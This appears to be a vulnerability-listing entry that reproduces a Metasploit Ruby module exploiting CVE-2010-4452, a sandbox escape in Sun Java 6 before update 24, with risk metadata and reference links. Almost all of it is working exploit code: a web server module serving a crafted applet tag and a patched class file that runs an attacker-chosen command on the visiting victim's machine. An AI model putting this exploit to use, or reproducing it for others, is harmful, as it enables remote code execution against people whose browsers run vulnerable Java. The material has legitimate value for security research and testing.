Sun Java Applet2ClassLoader Remote Code Execution Exploit

2011.03.18
Credit: metasploit
Risk: High
Local: No
Remote: Yes
CWE: CWE-noinfo


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # $Id: java_codebase_trust.rb 11983 2011-03-16 05:01:29Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' require 'rex' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpServer::HTML def initialize( info = {} ) super( update_info( info, 'Name' => 'Sun Java Applet2ClassLoader Remote Code Execution Exploit', 'Description' => %q{ This module exploits a vulnerability in Java Runtime Environment that allows an attacker to escape the Java Sandbox. By supplying a codebase that points at a trusted directory and a code that is a URL that does not contain an dots an applet can run without the sandbox. The vulnerability affects version 6 prior to update 24. }, 'License' => MSF_LICENSE, 'Author' => [ 'Frederic Hoguin', # Discovery, PoC 'jduck' # Metasploit module ], 'Version' => '$Revision: 11983 $', 'References' => [ [ 'CVE', '2010-4452' ], # [ 'OSVDB', '' ], [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-084/' ], [ 'URL', 'http://fhoguin.com/2011/03/oracle-java-unsigned-applet-applet2classloader-remote-code-execution-vulnerability-zdi-11-084-explained/' ], [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html' ] ], 'Platform' => [ 'java', 'win' ], 'Payload' => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ # OK on Windows x86 + IE + Sun Java 1.6.0u21,u22,u23 # FAIL on Ubuntu x86 + Firefox + Sun Java 1.6.0u23 [ 'Automatic (no payload)', { } ] =begin [ 'Windows x86', { 'Arch' => ARCH_X86, 'Platform' => 'win', } ], [ 'Generic (Java Payload)', { 'Arch' => ARCH_JAVA, 'Platform' => 'java', } ], =end ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 15 2011' )) register_options( [ OptString.new('CMD', [ false, "Command to run.", "calc.exe"]), OptString.new('LIBPATH', [ false, "The codebase path to use (privileged)", "C:\\Program Files\\java\\jre6\\lib\\ext"]), ], self.class) end def exploit path = [ Msf::Config.data_directory, "exploits", "cve-2010-4452", "AppletX.class" ].join(::File::SEPARATOR) @java_class = nil File.open(path, "rb") { |fd| @java_class = fd.read(fd.stat.size) } if not @java_class raise RuntimeError, "Unable to load java class" end super end def on_request_uri(cli, request) #print_status("Received request: #{request.uri}") jpath = get_uri(cli) #print_status(jpath) # Do what get_uri does so that we can replace it in the string host = Rex::Socket.source_address(cli.peerhost) host_num = Rex::Socket.addr_aton(host).unpack('N').first codebase = "file:" + datastore['LIBPATH'] code_url = jpath.sub(host, host_num.to_s) cmd = datastore['CMD'] cmd_off = 0xb4 cn_off = 0xfc case request.uri when /\.class$/ #p = regenerate_payload(cli) print_status("Sending class file to #{cli.peerhost}:#{cli.peerport}...") cls = @java_class.dup cls[cmd_off,2] = [cmd.length].pack('n') cls[cmd_off+2,8] = cmd cn_off += (cmd.length - 8) # the original length was 8 (calc.exe) cls[cn_off,2] = [code_url.length].pack('n') cls[cn_off+2,7] = code_url #File.open('ughz.class', 'wb') { |fd| fd.write cls } send_response(cli, cls, { 'Content-Type' => "application/octet-stream" }) handler(cli) else html = <<-EOS <html> <body> <applet codebase="#{codebase}" code="#{code_url}" /> </body> </html> EOS print_status("Sending HTML file to #{cli.peerhost}:#{cli.peerport}...") send_response_html(cli, html) handler(cli) end end end

References:

http://www.oracle.com/technetwork/topics/security/javacpufeb2011-304611.html
http://www.redhat.com/support/errata/RHSA-2011-0282.html


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